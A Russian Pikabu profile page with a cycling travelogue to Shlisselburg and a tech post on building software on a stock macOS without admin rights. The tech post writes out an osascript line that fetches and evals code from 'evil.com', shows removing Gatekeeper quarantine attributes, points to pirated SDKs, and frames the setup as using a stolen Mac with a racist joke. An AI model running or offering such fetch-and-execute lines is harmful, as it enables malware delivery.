alex0x08

alex0x08

Очень давно в этом вашем ойти. Видел сеть до интернета, помню интернет без фейсбука. До сих пор пишу код. ТГ/VK/Instagram/LinkedIn/Youtube/Rutube/Dzen: alex0x08 https://0x08.ru/ https://blog.0x08.ru/
Пикабушник
776 рейтинг 18 подписчиков 0 подписок 22 поста 8 в горячем
10

Едем в Шлиссельбург

Серия Тропами Сусанина

В прошлом году я откровенно угорел по велопокатушкам, докатившись на своем железном коне до нескольких интересных мест Ленинградской области. Рассказываю как это было.

На заднем плане <a href="https://pikabu.ru/story/edem_v_shlisselburg_14124140?u=https%3A%2F%2Fru.wikipedia.org%2Fwiki%2F%25D0%259B%25D0%25B0%25D0%25B4%25D0%25BE%25D0%25B6%25D1%2581%25D0%25BA%25D0%25BE%25D0%25B5_%25D0%25BE%25D0%25B7%25D0%25B5%25D1%2580%25D0%25BE&t=%D0%9B%D0%B0%D0%B4%D0%BE%D0%B6%D1%81%D0%BA%D0%BE%D0%B5%20%D0%BE%D0%B7%D0%B5%D1%80%D0%BE&h=2f56ae625834a39b6aeb58043b59274d00ce4ecb" title="https://ru.wikipedia.org/wiki/%D0%9B%D0%B0%D0%B4%D0%BE%D0%B6%D1%81%D0%BA%D0%BE%D0%B5_%D0%BE%D0%B7%D0..." target="_blank" rel="nofollow noopener">Ладожское озеро</a>. Чуть ближе - <a href="https://pikabu.ru/story/edem_v_shlisselburg_14124140?u=https%3A%2F%2Fru.wikipedia.org%2Fwiki%2F%25D0%259D%25D0%25BE%25D0%25B2%25D0%25BE%25D0%25BB%25D0%25B0%25D0%25B4%25D0%25BE%25D0%25B6%25D1%2581%25D0%25BA%25D0%25B8%25D0%25B9_%25D0%25BA%25D0%25B0%25D0%25BD%25D0%25B0%25D0%25BB&t=%D0%9D%D0%BE%D0%B2%D0%BE%D0%BB%D0%B0%D0%B4%D0%BE%D0%B6%D1%81%D0%BA%D0%B8%D0%B9%20%D0%BA%D0%B0%D0%BD%D0%B0%D0%BB&h=629752710f6b9955040aeb86f4c45aee121cdb85" title="https://ru.wikipedia.org/wiki/%D0%9D%D0%BE%D0%B2%D0%BE%D0%BB%D0%B0%D0%B4%D0%BE%D0%B6%D1%81%D0%BA%D0%..." target="_blank" rel="nofollow noopener">Новоладожский канал</a>. А автор приехал из Питера да.

На заднем плане Ладожское озеро. Чуть ближе - Новоладожский канал. А автор приехал из Питера да.

Disclaimer

Текст ниже написан человеком, который катает не один десяток лет, досконально знает своего железного коня, умеет его чинить в полевых условиях и сам при этом имеет конское здоровье.

Я умею кататься, умею падать, бить #бало, имею неслабую выносливость и реакцию, умею ориентироваться в лесу и так далее по списку. Другими словами:

дедушке можно такое творить, дедушка старый.

Если у вас нет серьезной подготовки, беды с башкой слабое здоровье — честно и откровенно предупреждаю: не надо пытаться такое повторять. Целее будете.

Как-то так выглядел маршрут:

7 процентов оставшегося заряда - причина по которой был сохранен не весь трек, в реальности было еще +10км до дома.

7 процентов оставшегося заряда - причина по которой был сохранен не весь трек, в реальности было еще +10км до дома.

Шлиссельбург

Конечной целью этой эпической покатушки был выбран город Шлиссельбург, о котором я разумеется ничего не знал, поэтому углубился в Википедию:

Город был основан новгородским князем Юрием Даниловичем в 1323 году, заложившим на острове Ореховый (здесь росло много лещины — лесного ореха) деревянную крепость. В 1613 году крепость была захвачена шведами и русское название Орешек трансформировалось в Нётеборг (швед. nöt — «орех», borg — «крепость»).

..

В 1702 году была освобождена русскими войсками и тогда же переименована в Шлиссельбург, буквально — «ключ-крепость» (нем. Schlüssel — «ключ», Burg — «крепость»); употреблялось и более близкое к немецкому Шлюссельбург, откуда народное название Шлюшин.

Ну разве можно было пропустить портовый городок со столь поэтическим названием?

Подруга сказала «катись к своим бл#дям», ну я и покатил.

Большеохтинский мост

Именно через этот мост я чаще всего выезжаю для покатушек в сторону Юго-Запада, поскольку его пешеходная часть обычно слабо загружена — несмотря на свою красоту, мост находится вдали от туристических троп.

Большео́хтинский мост (с 1909 по 1930-е — мост Императора Петра Великого) — автодорожный металлический разводной мост через реку Неву в Санкт-Петербурге. Первый из петербургских мостов через Неву с ездой понизу (проезжая часть расположена на уровне низа пролётного строения) и разводным пролётом в середине реки.

Дальше я обычно двигаюсь по правой стороне Невы и если не углубляюсь в центр — проезжаю мимо следующего моста:

Мост Алекса́ндра Не́вского — автодорожный железобетонный разводной мост через Неву в Санкт-Петербурге.

Мост огромный, но к сожалению с неудобными выездами и плотно забитый самокатчиками, давно организовавшими свою проезжую часть по пешеходной зоне.

Так что этот мост я все же стараюсь объезжать.

Александро-Невская лавра

Следующей знаковой достопримечательностью, которую нельзя не заметить по пути следования является Александро-Невская лавра:

Свя́то-Тро́ицкая Алекса́ндро-Не́вская ла́вра — мужской православный монастырь на восточной оконечности Невского проспекта в Санкт-Петербурге. Первый и наиболее крупный монастырь города. С 1797 года имеет статус лавры.

Разумеется про такое место странно и глупо писать вот так «мельком», но я все же пишу про велопутешествие, а не провожу исторические изыскания.

Шлиссельбургский мост

Буквально за углом этой лавры, встречается первое упоминание Шлиссельбурга:

Шлиссельбу́ргский мост — автодорожный железобетонный арочный мост через Обводный канал в Центральном/Невском районе[1] Санкт-Петербурга, соединяет Монастырский остров и левый берег Обводного канала.

На карте:

После проезда моста, с левой стороны начинается довольно большой бульвар Стеклянного Городка:

В 1770-х годах по приказу графа Г. А. Потёмкина, которому были пожалованы земли у Глухого озера, известные как имение Озерки, были выстроены стекольный и зеркальный заводы. В 1791 году, после смерти графа, заводы были выкуплены в казну[2] , и на их базе был создан Императорский стеклянный завод.

По этому бульвару я добираюсь до следующего эпического памятника архитектуры, который также невозможно не заметить.

Скорбященская церковь

У этого храма очень нетривиальное название и история:

Храм получил свое название в честь иконы Божией Матери «Всех Скорбящих Радости» с грошиками — чтимого списка, хранившегося в Тихвинской часовне[2] на территории Стеклянного городка Императорского стеклянного завода[3]. 23 июля 1888 года (по старому стилю) во время грозы в часовню ударила молния, и в ней начался пожар. Во время него из ящика для подаяний высыпались медные монеты, на которые упала икона. Огонь обошёл икону, но 12 монет пристали к ней (одна из которых впоследствии отпала), после чего образ получил своё именование — «с грошиками» — и приобрёл славу чудотворного после связанных с ним двух чудесных исцелений.

Не знаю насчет чудотворности, но кафешка на набережной готовит отличный кофе и имеет красивейший вид на Неву.

Проехав церковь, качу дальше своего железного коня по проспекту Обуховской обороны, которая внезапно является одной из самых длинных улиц в Питере. И добираюсь до (не поверите) ..следующего моста.

Володарский мост

Главная фишка этого моста — отдельная эстакада для трамваев, красиво уходящая в право:

Волода́рский мостразводной мост через Неву в Санкт-Петербурге. Соединяет Народную и Ивановскую улицы (Невский район)[1]. Часть Центральной дуговой магистрали. Единственный в городе мост с эстакадой для съезда трамваев (левый берег).

Дальше мой путь пролегал по все тому же проспекту Обуховской обороны, до следующего моста.

Большой обуховский мост

Мост действительно циклопического размаха:

Большо́й Обу́ховский моствантовый неразводной мост через Неву. Расположен на границе Невского района Санкт-Петербурга и Всеволожского района Ленинградской области, в среднем течении Невы; соединяет проспект Обуховской Обороны и Октябрьскую набережную. Один из самых длинных мостов России.

Первый неразводной мост через Неву, самый большой мост в Санкт-Петербурге по величине перекрываемого пролёта (382 м), а также крупнейший мост через Неву.

Единственный мост через Неву, по которому я не решился ехать на велосипеде.

Проехав под ним (на самом деле — под целой дорожной развязкой), перекатился на Рыбацкий проспект, по которому добрался до.. следующего моста.

Рыбацкий мост

Несмотря на небольшие размеры, у Рыбацкого моста оказалась весьма непростая история:

Мост в устье Славянки показан на карте 1817 года[5]. Мост был деревянным многопролётным и неоднократно ремонтировался. В годы блокады он был разобран. В 1957 году по проекту инженера «Ленгипродортранса» Н. К. Пенионжкевича построен существующий пятипролётный мост[1].

К 2000 году мост полностью исчерпал свой ресурс и в январе того же года был закрыт для движения автотранспорта, но фактически продолжал использоваться как пешеходный.

Перестройка моста выполнена в 2022—2023 годах[7] группой компаний «Возрождение». Мост был открыт для движения автотранспорта в конце октября 2023 года[8].

Ни о чем таком я разумеется не знал, когда бодро катил по нему летним днем в сторону Шлиссельбурга.

Петрозаводское шоссе

Наконец я попадаю на Петрозаводское шоссе, это уже самая граница города и за болотом начинается Ленинградская область. По Петрозаводскому шоссе проезжаю вольницу гопников с поэтическим названием «Металлострой», затем поселения (фактически одну сплошную застройку) «Понтонный» и «Саперный».

Что характерно все эти места имеют артефакты дореволюционных времен, видел очень старые здания, как жилые так и заброшенные.

Вся мощь и размах Невы слева.

Вся мощь и размах Невы слева.

Петрозаводское шоссе плавно перетекает в Ленинградское (не меняя направления), а я плавно перекатываюсь до Отрадного.

Отрадное

Отрадное это уже город, въезд в который запомнился настоящей судостроительной верфью под открытым небом!

Если хотите увидеть как строят корабли — вам сюда:

В качестве пруфа, что я там действительно был.

В качестве пруфа, что я там действительно был.

Еще Отрадное запомнилось очень длинной, современной и полностью благоустроенной набережной, по которой я ехал наверное полчаса, а она все не заканчивалась. Очень красивое место.

Кузьминский мост

Дальше я добрался до очень узкого и потому крайне опасного тоннеля под железнодорожными путями, ведущими к еще одному мосту:

Кузьми́нский мост — однопутный железнодорожный разводной мост через Неву вертикально-подъёмного типа. По этому мосту проходит один путь двухпутной железнодорожной линии от Санкт-Петербурга (Ладожский вокзал) на Горы.

С этим мостом у меня есть своя история, как раз до него я доезжал с другой стороны Невы, когда хотел доехать до Шлиссельбурга в первый раз — «не зная броду».

Так он выглядит с другой стороны Невы:

Про заезд по левому берегу будет отдельная поучительная история.

Про заезд по левому берегу будет отдельная поучительная история.

Дальше я проехал ничем не примечательное Павлово и добрался вот до очередного ничем не примечательного моста. Мост как мост, но вот речка под ним..

В годы Великой Отечественной войны по Мге проходила линия фронта. На левом берегу и сегодня ещё видны обвалившиеся траншеи и блиндажи.

Место еще то, но по пути следования далеко не последнее.

Невский пятачок

Следующим важным историческим местом, через которое пролегал мой маршрут был Невский пятачок:

«Невский пятачок» — условное обозначение плацдарма на левом (восточном) берегу Невы напротив Невской Дубровки, который удерживался советскими войсками Ленинградского фронта (с 19 сентября 1941 по 29 апреля 1942 года и с 26 сентября 1942 по 17 февраля 1943 года) в ходе битвы за Ленинград

Место эпической битвы, переломившей ход битвы за Ленинград, про которое стоило рассказать отдельно, но я все же не историк-документалист. Поэтому просто еду дальше.

Петрозаводское шоссе плавно превращается в Набережную улицу, по которой я вкатываюсь в Кировск.

Кировск

Цитируя педевикию:

Ки́ровск — город (с 1953 г.) в России, административный центр Кировского района и муниципального образования Кировское городское поселение Ленинградской области. Основан в 1931 году как посёлок строителей ГРЭС.

Кировск запомнился близостью жилой застройки к воде, фактически жилые дома (причем высотные) стоят через дорогу от Невы. Виды из окон там наверное потрясающие.

Ладожский мост и памятник Т-34

Следующее знаковое место по дороге в Шлиссельбург:

Мост соединяет невские берега в том месте, где в январе 1943 года была уникальная дерево-ледовая переправа для танков Т-34[7].

В левобережном устое моста находится открытый в 1983 году музей-диорама «Прорыв блокады Ленинграда». Рядом с мостом установлен памятник — танк Т-34. Мост, диорама и памятник являются частью мемориального комплекса «Прорыв».

Фото на память:

Мост действительно огромный и находится на высокой эстакаде:

Шлиссельбург

По Красному тракту, мимо огромных цехов Ладожского транспортного завода, подъезжаю наконец к финальной точке своего маршрута.

Встречает меня сооружение времен Петра I:

Двукамерный Шлюз, соединяющий Неву с Малоневским каналом, фактически разделяющим Шлиссельбург на две части.

Вот он на еще советской карте:

Поскольку Шлиссельбург — очень маленький городок, я быстро проехал этот самый Малоневский канал, добравшись до начала Староладожского. Повернул направо и буквально через сто метров город внезапно кончился.

Пришлось возвращаться и переплывать перейти Малоневский, так я наконец добрался до центра города.

<a href="https://pikabu.ru/story/edem_v_shlisselburg_14124140?u=https%3A%2F%2Fru.wikipedia.org%2Fwiki%2F%25D0%259F%25D0%25B0%25D0%25BC%25D1%258F%25D1%2582%25D0%25BD%25D0%25B8%25D0%25BA_%25D0%259F%25D0%25B5%25D1%2582%25D1%2580%25D1%2583_I_%28%25D0%25A8%25D0%25BB%25D0%25B8%25D1%2581%25D1%2581%25D0%25B5%25D0%25BB%25D1%258C%25D0%25B1%25D1%2583%25D1%2580%25D0%25B3%29&t=%D0%9F%D0%B0%D0%BC%D1%8F%D1%82%D0%BD%D0%B8%D0%BA%20%D0%9F%D0%B5%D1%82%D1%80%D1%83%20I&h=e16b7446e492d1f812d6434c5db651f0e032d315" title="https://ru.wikipedia.org/wiki/%D0%9F%D0%B0%D0%BC%D1%8F%D1%82%D0%BD%D0%B8%D0%BA_%D0%9F%D0%B5%D1%82%D1..." target="_blank" rel="nofollow noopener">Памятник Петру I</a> в центре Шлиссельбурга и мой железный конь.

Памятник Петру I в центре Шлиссельбурга и мой железный конь.

Памятник расположен у пристани Шлиссельбурга, куда доставляют подгулявших туристов с Питера.

Туристы с интересом рассматривали меня и мой велик, разумеется не догадываясь откуда именно я тут взялся.

Катаясь из Питера на пароме, сложно представить что этот маршрут кто-то может осилить на своих двоих.

Затем я поехал к Ладожскому озеру:

На переднем плане <a href="https://pikabu.ru/story/edem_v_shlisselburg_14124140?u=https%3A%2F%2Fru.wikipedia.org%2Fwiki%2F%25D0%259D%25D0%25BE%25D0%25B2%25D0%25BE%25D0%25BB%25D0%25B0%25D0%25B4%25D0%25BE%25D0%25B6%25D1%2581%25D0%25BA%25D0%25B8%25D0%25B9_%25D0%25BA%25D0%25B0%25D0%25BD%25D0%25B0%25D0%25BB&t=%D0%9D%D0%BE%D0%B2%D0%BE%D0%BB%D0%B0%D0%B4%D0%BE%D0%B6%D1%81%D0%BA%D0%B8%D0%B9%20%D0%BA%D0%B0%D0%BD%D0%B0%D0%BB&h=629752710f6b9955040aeb86f4c45aee121cdb85" title="https://ru.wikipedia.org/wiki/%D0%9D%D0%BE%D0%B2%D0%BE%D0%BB%D0%B0%D0%B4%D0%BE%D0%B6%D1%81%D0%BA%D0%..." target="_blank" rel="nofollow noopener">Новоладожский канал</a>, за ним небольшая полоска земли и затем уже <a href="https://pikabu.ru/story/edem_v_shlisselburg_14124140?u=https%3A%2F%2Fru.wikipedia.org%2Fwiki%2F%25D0%259B%25D0%25B0%25D0%25B4%25D0%25BE%25D0%25B6%25D1%2581%25D0%25BA%25D0%25BE%25D0%25B5_%25D0%25BE%25D0%25B7%25D0%25B5%25D1%2580%25D0%25BE&t=%D0%9B%D0%B0%D0%B4%D0%BE%D0%B6%D1%81%D0%BA%D0%BE%D0%B5%20%D0%BE%D0%B7%D0%B5%D1%80%D0%BE&h=2f56ae625834a39b6aeb58043b59274d00ce4ecb" title="https://ru.wikipedia.org/wiki/%D0%9B%D0%B0%D0%B4%D0%BE%D0%B6%D1%81%D0%BA%D0%BE%D0%B5_%D0%BE%D0%B7%D0..." target="_blank" rel="nofollow noopener">Ладожское озеро</a>.

На переднем плане Новоладожский канал, за ним небольшая полоска земли и затем уже Ладожское озеро.

Слева от этого места, на озере расположена еще одна достопримечательность большой исторической ценности:

Крепость Оре́шек — древняя русская крепость на Ореховом острове в истоке реки Невы, напротив города Шлиссельбурга в Ленинградской области. Основана в 1323 году новгородцами, с 1612 по 1702 год принадлежала Швеции.

Добираться туда я не стал из-за толп туристов, решив оставить посещение на следующий заход, когда буду пешком.

Вид на одну из башен крепости:

Крепость Орешек на фоне моего железного коня.

Крепость Орешек на фоне моего железного коня.

Ниже будет еще несколько интересных фото "на память", поскольку доберусь до этих мест я теперь еще не скоро.

В обычном парке посреди города внезапно обнаружилась экспозиция из пушек и зениток. Оказалось что это музей, причем довольно новый, называется «Эхо великих сражений в Шлиссельбурге»:

Музей под открытым небом, в котором представлены корабельные орудия времен Великой Отечественной и послевоенных лет, появился в Шлиссельбурге в 2005 году. Все орудия со складов Министерства Обороны отреставрированы на Невском Судостроительно-судоремонтном заводе в Шлиссельбурге.

Памятное фото:

Мой конь на фоне корабельной зенитки.

Мой конь на фоне корабельной зенитки.

Разумеется в русском городе со столь богатой историей не может не быть православного храма:

Благове́щенский собо́р — главный православный храм города Шлиссельбурга. Построен в стиле барокко, прототипом ему послужил Петропавловский собор в Санкт-Петербурге. Центральный храм комплекса, состоящего из трёх церквей.

Выглядит в живую гораздо лучше чем на фото:

Обратный маршрут

Доехать до Шлиссельбурга было только частью задачи, вторая часть — живым вернуться обратно, причем до наступления темноты.

Езда на веле по обочине дорог в Ленобласти — само по себе удовольствие еще то, делать это в сумерках — прямой путь на больничную койку или сразу в морг.

Поскольку типичный вид транспорта в Ленинградской области это здоровенная фура, летящая на всех парах. И все что меньше самолета находится у водителя в слепой зоне:

Поэтому повторюсь:

дедушка старый, ему можно.

Остальным катать по обочине скоростных дорог точно не стоит, тем более регулярно.

Поскольку заранее маршрут я не изучал — возвращался назад по своим следам той же дорогой, по которой приехал:

Между Шлиссельбургом и Кировском

Между Шлиссельбургом и Кировском

На центральной площади Кировска все также стоит Ильич:

На память у памятника Ильичу

На память у памятника Ильичу

Добрался домой я едва живым, все же 150км езды за один день это очень много.

Показать полностью 26
18

Он вам не «MacOS»

Серия Жестокие эксперименты

Рассказываю и показываю, что можно сотворить с компьютером Apple без прав администратора и стандартных средств разработки. Написано специально для подрыва пердаков маководам, так что запасайтесь попкорном.

Невозможный скриншот, по мнению официальной техподдержки и обычных разработчиков под продукцию Apple.

Невозможный скриншот, по мнению официальной техподдержки и обычных разработчиков под продукцию Apple.

Тайны внутренних органов

Apple не очень любит внимание к внутренностям своих продуктов и мягко говоря не поощряет какие-либо изыскания в них, по поводу и без. Несмотря на то что уже была попытка раскрытия исходного кода ядра (довольно быстро остановленная), «userland» — пользовательское окружение всегда был и остается закрытым.

Книг и материалов по внутреннему устройству как «большой» MacOS так и мобильной iOS откровенно мало, а изложенная там информация сильно напоминает передачу «Поле чудес» реалии Microsoft Windows времен 90х:

недокументированные функции, непонятные сервисы, домыслы, мнения и догадки.

Разве что колдовства и магических ритуалов пока нет.

Поэтому изложенный материал потребовал многих лет практики и изучения MacOS, описанное в статье не «гуглится» поисковиками, не подсказывается нейросетью и вообще мало афишируется широкой публике.

Что мы будем делать

Ниже я покажу несколько интересных трюков связанных с разработкой ПО на абсолютно чистой пользовательской MacOS, без какого-либо установленного дополнительного инструментария и без прав администратора.

Последнее очень важно, поскольку права администратора нужны в MacOS практически для всего более-менее интересного:

изменения настроек ОС, установки нового ПО, доступа к некоторым каталогам и даже определенным действиям вроде записи экрана.

Представьте что вы — огромный негр с золотой цепью из Бруклина и только что отжали новенький Mac у какого‑то ботана. Доступ на рабочий стол есть (он автоматический), но пароля администратора вы не знаете. Однако прежде чем толкать паль ближайшему скупщику ради денег на крэк, вы вдруг решили заняться разработкой ПО под MacOS.

С кем не бывает.

Главное не забудьте потом записать трек про вашу нелегкую жизнь и «вкатывание в ИТ» столь необычным способом.

(PR‑менеджер просил кейс использования для материала — я предоставил)

Начало приключения: нулевая MacOS Sonoma, без какой-либо настройки за исключением фоновой картинки.

Начало приключения: нулевая MacOS Sonoma, без какой-либо настройки за исключением фоновой картинки.

Девственная среда

Ради этой статьи была развернута чистая копия последней «MacOS Sonoma» в виртуальной машине, с абсолютно стандартным набором пользовательского ПО. Именно такую систему вы получите при покупке свежего Mac в официальном магазине Apple в NY.

Для начала кратко пройдусь по возможностям MacOS и тому что в ней есть «из коробки». Начнем с двух самых важных для разработчика приложений: консольного терминала и текстового редактора.

Запускаются они с помощью Launchpad, путем ввода названий в строку поиска. Для запуска терминала вводите terminal, для текстового редактора edit.

Вот так выглядит запущенный терминал:

И редактор (c переключением вида на обычный текст):

MacOS это самый настоящий Unix, в котором есть практически все стандартные консольные утилиты: bash, grep, ps, top, pwd, uname и так далее — отличия от какой-нибудь современной Ubuntu минимальны, если не начать углубляться в детали.

Но к сожалению в чистой MacOS практически полностью отсутствуют средства разработки и вместо настоящих приложений установлены заглушки, попытка вызова которых выдает стандартный диалог:

К счастью даже в установке MacOS по-умолчанию присутствуют два серьезных интерпретатора скриптовых языков: Perl и Tcl. И кое-что еще, куда более мощное.

Perl

Оочень мощная штука, страшное оружие в умелых руках и доступная в любой MacOS практически с первых версий.

Разумеется это старая добрая 5я версия (да это шутка для посвященных):

Встроенный в MacOS Perl не совсем обычный — в нем сразу установлены модули Foundation и PerlObjCBridge, которые позволяют взаимодействовать с нативными приложениями на Objective‑C и API самой MacOS из скриптов на Perl.

Напоминаю, если кто-то из читателей не в курсе:

приложения на Objective-C взаимодействуют через специальные сообщения — события.

Поэтому благодаря этим модулям у вас появляется возможность влезть на этот праздник жизни из скриптов на Perl.

Для примера работа с нативными строками:

#!/usr/bin/perl

use Foundation;

$s1 = NSString->stringWithCString_("Hello ");
$s2 = NSString->alloc()->initWithCString_("World");
$s3 = $s1->stringByAppendingString_($s2);
printf "%s\n", $s3->cStri>cString();

А вот так выглядит получение имени хоста:

#!/usr/bin/perl
use Foundation;
$hostName = NSProcessInfo->processInfo()->hostName();
printf "%s\n", $hostName->cString();

К сожалению в этой версии нет поддержки работы с интерфейсом:

This version of PerlObjCBridge does not directly support writing GUI Cocoa applications in Perl.

Зато все остальное работает на ура, например вот такой классический HTTP-сервер:

#!/usr/bin/perl

use strict;
use warnings;

use CGI qw/ :standard /;
use Data::Dumper;
use HTTP::Daemon;
use HTTP::Response;
use HTTP::Status;
use POSIX qw/ WNOHANG /;

use constant HOSTNAME => qx{hostname};

my %O = (
'listen-host' => '127.0.0.1',
'listen-port' => 8080,
'listen-clients' => 30,
'listen-max-req-per-child' => 100,
);

my $d = HTTP::Daemon->new(
LocalAddr => $O{'listen-host'},
LocalPort => $O{'listen-port'},
Reuse => 1,
) or die "Can't start http listener at $O{'listen-host'}:$O{'listen-port'}";

print "Started HTTP listener at " . $d->url . "\n";

my %chld;

if ($O{'listen-clients'}) {
$SIG{CHLD} = sub {
# checkout finished children
while ((my $kid = waitpid(-1, WNOHANG)) > 0) {
delete $chld{$kid};
}
};
}

while (1) {
if ($O{'listen-clients'}) {
# prefork all at once
for (scalar(keys %chld) .. $O{'listen-clients'} - 1 ) {
my $pid = fork;

if (!defined $pid) { # error
die "Can't fork for http child $_: $!";
}
if ($pid) { # parent
$chld{$pid} = 1;
}
else { # child
$_ = 'DEFAULT' for @SIG{qw/ INT TERM CHLD /};
http_child($d);
exit;
}
}

sleep 1;
}
else {
http_child($d);
}

}

sub http_child {
my $d = shift;

my $i;
my $css = <<CSS;
form { display: inline; }
CSS

while (++$i < $O{'listen-max-req-per-child'}) {
my $c = $d->accept or last;
my $r = $c->get_request(1) or last;
$c->autoflush(1);

print sprintf("[%s] %s %s\n", $c->peerhost, $r->method, $r->uri->as_string);

my %FORM = $r->uri->query_form();

if ($r->uri->path eq '/') {
_http_response($c, { content_type => 'text/html' },
start_html(
-title => HOSTNAME,
-encoding => 'utf-8',
-style => { -code => $css },
),
p('Here are all input parameters:'),
pre(Data::Dumper->Dump([\%FORM],['FORM'])),
(map { p(a({ href => $_->[0] }, $_->[1])) }
['/', 'Home'],
['/ping', 'Ping the simple text/plain content'],
['/error', 'Sample error page'],
['/other', 'Sample not found page'],
),
end_html(),
)
}
elsif ($r->uri->path eq '/ping') {
_http_response($c, { content_type => 'text/plain' }, 1);
}
elsif ($r->uri->path eq '/error') {
my $error = 'AAAAAAAAA! My server error!';
_http_error($c, RC_INTERNAL_SERVER_ERROR, $error);
die $error;
}
else {
_http_error($c, RC_NOT_FOUND);
}

$c->close();
undef $c;
}
}

sub _http_error {
my ($c, $code, $msg) = @_;

$c->send_error($code, $msg);
}

sub _http_response {
my $c = shift;
my $options = shift;

$c->send_response(
HTTP::Response->new(
RC_OK,
undef,
[
'Content-Type' => $options->{content_type},
'Cache-Control' => 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0',
'Pragma' => 'no-cache',
'Expires' => 'Thu, 01 Dec 1994 16:00:00 GMT',
],
join("\n", @_),
)
);
}

Совершенно спокойно работает на девственно чистой MacOS, без каких-либо дополнительных библиотек и установленных средств разработки:

Даже этой столь простой версии хватит чтобы создавать простейшие веб-приложения и воровать данные.

Tcl и Tk

Дедушка и бабушка современных скриптовых языков, ненавидимый лично Столлманом про который я успел написать отдельную статью.

Из интересного для пролетариев от разработки, не владеющих этим замечательным языком, отмечу, что в MacOS оно позволяет «из коробки» работать с интерфейсом — рисовать диалоги, кнопки, списки и так далее без установленных средств разработки, без каких‑либо внешних библиотек, SDK или компиляторов.

Вот так для примера выглядит простейший калькулятор:

Разумеется будут работать и все остальные возможности этого языка: работа с сетью, файлами, юникодом и всем прочим интересным. Но это цветочки, по сравнению с главной имбой для творения всякого необычного и нехорошего.

AppleScript

Начну с цитаты:

AppleScript — язык сценариев, созданный Apple и встроенный в macOS, используемой на компьютерах корпорации начиная с System 7.

И пусть вас не смущают слова «сценарий» и «команды выполнения», это на самом деле страшная штука в умелых руках.

Посмотрите на такой пример:

osascript -l JavaScript -i eval(ObjC.unwrap( $.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('https://evil.com/evil')),$.NSUTF8StringEncoding )) );

Тут на самом деле очень много интересного, для знающих и владеющих:

в одной строке происходит скачивание и немедленное выполнение командного кода с синтаксисом Javascript.

osascript — командный интерпретатор для сценариев AppleScript, ключ -l указание на синтаксис Javascript, -i это interactive mode, однострочный скрипт. А NSString, NSData и NSURL — уже системные классы.

Вот так можно отправить стандартное оповещение из скрипта:

osascript -e 'display notification "" with title "test"'

Обратите внимание на синтаксис — это стандартный синтаксис AppleScript.

Результат выполнения выглядит вот так:

Но на самом деле все описанное — мелочи, специфичные инструменты, работать с которыми без внешних библиотек вообщем-то сложно а главное неприятно. Поэтому мы переходим наконец к «большой разработке» и современному инструментарию.

Но прежде решим проблему с одной заразой, мешающей спокойной жизни и работе честных людей, на ворованном маке и без прав администратора.

Установка без доверенных источников

В последних версиях MacOS добавили хтоническую дичь под названием Gatekeeper:

macOS includes a technology called Gatekeeper, that's designed to ensure that only trusted software runs on your Mac.

The safest place to get apps for your Mac is the App Store. Apple reviews each app in the App Store before it’s accepted and signs it to ensure that it hasn’t been tampered with or altered. If there’s ever a problem with an app, Apple can quickly remove it from the store.

Как только вы попробуете скачать бинарник, скрипт или архив из интернета и запустить — увидите вот такое страшное предупреждение:

Работает оно через специальный атрибут, устанавливаемый на каждый скачанный файл:

К счастью данный атрибут легко и просто снимается командой:

xattr -d com.apple.quarantine ./ld64.lld

После чего бинарник совершенно спокойно запускается без каких-либо ограничений:

Имейте ввиду что атрибут карантина ставится автоматически на все файлы внутри архива при распаковке если не был снят с самого архива. Поэтому необходимо снимать атрибут карантина с архива до его распаковки, а именно архивы мы и будем использовать далее, поскольку для нормальной установки ПО нужны права администратора.

Также здесь и далее я буду использовать архитектуру x86_64, как самую распространенную. Но даже если у вас совсем новый мак на M1 — все равно обязательно будет поддержка x86_64 и бинарники под эту архитектуру будут запускаться.

Node.js

Открываете стандартный браузер Safari и скачиваете с официального сайта готовую бинарную сборку, версию в архиве (не инсталлятор), прямая ссылка для скачивания тут.

Safari считает себя умнее типичного пользователя Mac (и не без оснований), поэтому частично распакует архив самостоятельно — после скачивания и вместо файла .tar.gz у вас будет просто.tar.

Снимаем атрибут карантина и распаковываем:

xattr -d com.apple.quarantine ~/Downloads/node-v20.11.1-darwin-x64.tar
tar xvf ~/Downloads/node-v20.11.1-darwin-x64.tar

Запускаем bash и добавляем каталог с Node.js в переменную PATH:

export PATH=~/work/node-v20.11.1-darwin-x64/bin:$PATH

Проверяем что node доступна из окружения:

node -v

Команда выше должна успешно выполниться и отобразить версию установленной Node.js.

Также вместе с Node.js должен быть и пакетный менеджер NPM:

npm -v

Этого уже хватит для разработки какого-то простого приложения на Node.js, так что переходим к более серьезным вещам.

XPM

Вот про эту штуку вы точно не знали:

Based on a simple multi-version dependencies manager (built on top of npm), the xPack project aims to provide a set of cross-platform tools to manage, configure and build complex, modular, multi-target (multi-architecture, multi-board, multi-toolchain) projects, in a reproducible way, with an emphasis on C/C++ and bare-metal embedded projects.

Сие порождение сумрачного гения — пакетный менеджер, работающий поверх npm для нативных библиотек и инструментов разработки.

С помощью этой чудесной утилиты можно скачать и установить всю необходимую среду для нативной разработки на C/C++ под Mac — без всяких XCode и прочей хтони.

Устанавливаем:

npm install --global xpm@latest

Создаем тестовое окружение:

mkdir testproj
cd testproj
xpm init

В результате появится новый пустой проект с файлом package.json внутри, в который будут добавляться зависимости.

Нативные зависимости.

Честно говоря не думал что доживу до дня, когда clang, cmake и gcc будут устанавливаться в виде пакетов NPM, но пришлось (проклятый здоровый образ жизни да):

Ставим:

xpm install @XpaCK-dev-tools/clang@latest --verbose

После выполнения появится каталог xpacks, внутри которого будет каталог .bin с всеми стандартными бинарниками, необходимыми для компиляции:

Добавляем его в переменную окружения PATH:

export PATH=./xpacks/.bin:$PATH

Теперь наконец можно вызвать компилятор вместо заглушки, требующей в ультимативной форме установить XCode:

Но к сожалению одного только компилятора недостаточно для сборки чего-то работающего, нужны заголовочные файлы для стандартных функций вроде ввода-вывода.

Разумеется для нормальных людей они тоже поставляются вместе с XCode и в чистой MacOS отсутствуют начисто, в отличие от большинства линуксов или *BSD систем.

К счастью выход есть в виде (только не смейтесь) пиратских выкладок MacOS SDK на Github (!)

Чего только на свете не бывает, ей богу.

Я использовал для этой статьи версию заголовочных файлов взятую вот отсюда, но разумеется подобные репозитории регулярно зачищают. А широкие программисткие массы выкладывают по‑новой, поскольку это нужная вещь для автоматических сборок под MacOS, без приключений с кросс компиляцией и скачивания ~14Гб пакета XCode.

Ищутся такие репозитории очень простым запросом в поисковиках:

github macos sdk

Скачиваем архив, снимаем атрибут карантина и распаковываем:

xattr -d com.apple.quarantine ~/Downloads/MacOSX13.3.tar.xz
tar xvzf ~/Downloads/MacOSX13.3.tar.xz

